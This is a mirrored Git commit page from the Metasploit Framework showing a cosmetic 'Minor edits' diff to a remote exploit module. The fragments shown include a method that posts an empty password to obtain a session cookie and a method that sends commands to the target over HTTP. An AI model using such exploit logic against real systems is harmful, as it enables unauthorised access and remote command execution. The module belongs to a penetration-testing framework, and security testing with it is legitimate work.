mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Minor edits
This commit is contained in:
parent
3bbc413935
commit
ea3c7cb35b
@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def push
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
# To push the Enter button
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'frame' => '3',
|
||||
'pass' => '' # yep this should be empty
|
||||
@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def http_send_command(cmd)
|
||||
cookie = push()
|
||||
cookie = push
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
|
Loading…
Reference in New Issue
Block a user